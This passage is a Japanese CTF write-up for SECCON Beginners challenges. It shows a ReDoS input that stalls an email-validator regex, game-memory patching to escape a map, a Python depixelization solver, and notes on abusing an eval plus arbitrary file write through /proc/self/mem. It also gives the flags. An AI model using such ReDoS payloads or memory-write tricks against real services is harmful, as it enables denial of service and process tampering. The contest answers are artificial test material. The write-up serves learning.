pattern = /\A([\w+\-].?)+@[a-z\d\-]+(\.[a-z]+)*\.[a-z]+\z/i
 :

とのマッチングが5秒以上掛かる文字列を投げつければクリア。何か工夫が要るかと思ったけど、だいたい何でも通るな。

$ nc mail-address-validator.quals.beginners.seccon.jp 5100
I check your mail address.
please puts your mail address.
a@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}

fly

これつらかった。

フラグっぽい文字列が見えるが、ここから出られない。

WOLF RPGエディター製。データを引っこ抜けば良いだろと思ったけど、ググって出てくるものは動かず。

メモリを弄りたいけど、検索の手がかりが無い。

引数にTest_Of_Mainを付けるとデバッグ機能が有効になることを知った。この状態だとF9で変数が見られるものの、キャラクタの位置は無い。

「Xスクロール値」はある。うさみみハリケーンでこの値を探し、この値はキャラクタの位置から決まるはずなので、デバッガで書き込みにブレークポイントを仕掛けて辿っていった。0x00a861b8がキャラの位置。書き換えると、瞬間移動するのではなく、スーっと動いていって面白い。

脱出したけどこれ。

赤い階段の先。

青い階段は入れない。

現在マップを示す変数がどこなのか、そもそもあるのかも良く分からず。どうも、最初のマップはctf4b.mps、赤い階段の先がflag1.mps、残りはflga2.mpsっぽい。メモリ中のflag1.mpsをflag2.mpsに書き換えて赤い階段に入ったらいけた。

ctf4b{b3_c4r3ful_0f_fl135_wh3n_73l3p0r71n6}

depixelization

ソースコードを見ると、フラグの各文字の上にPとI、Xを重ね、縮小して拡大したものらしい。

ソースコードのフラグの部分を !"#$%&'()*+,-./01234...に書き換えて各文字の画像を作り、比較すれば良いだろう。

solve.py

from PIL import Image

output = Image.open("output.png")
char = Image.open("char.png")

flag = ""
for i in range(31):
  for j in range(0x7f-0x20):
    ok = True
    for y in range(100):
      for x in range(85):
        if output.getpixel((i*85+x, y))!=char.getpixel((j*85+x, y)):
          ok = False
    if ok:
      flag += chr(0x20+j)
      break
print(flag)

$ python3 solve.py
ctf4b{1f_y0u_p1x_y0u_c4n_d3p1x}

ctf4b{1f_y0u_p1x_y0u_c4n_d3p1x}

writeme

解けなかった。

writeme.py

 :
    print(eval(input("Chance: ")[:5])) # 42=99 :)
    path = input("File: ")
    if not os.path.exists(path):
        exit("File not found")
    if not os.path.isfile(path):
        exit("Not a file")
    if "flag" in path:
        exit("Path not allowed")
    try:
        fd = open(path, "r+")
        fd.seek(int(input("Seek: ")))
        fd.write("Hack")
        fd.flush()
        fd.seek(0)
    except:
        exit("Error")

    if 42 >= 99:
        print(open("flag").readline()) # Congrats!
    else:
        print(fd.readline())

5文字までのコードを実行できる。その後任意のファイルの任意の位置にHackが書き込める。42 >= 99になればOK。

書き換えるのは、/proc/self/memだろうけど、どうしろと……。5文字じゃなにもできなそうだし……で終わり。

作問者write-up。

なるほどなぁ。idなんて使ったことがなかった。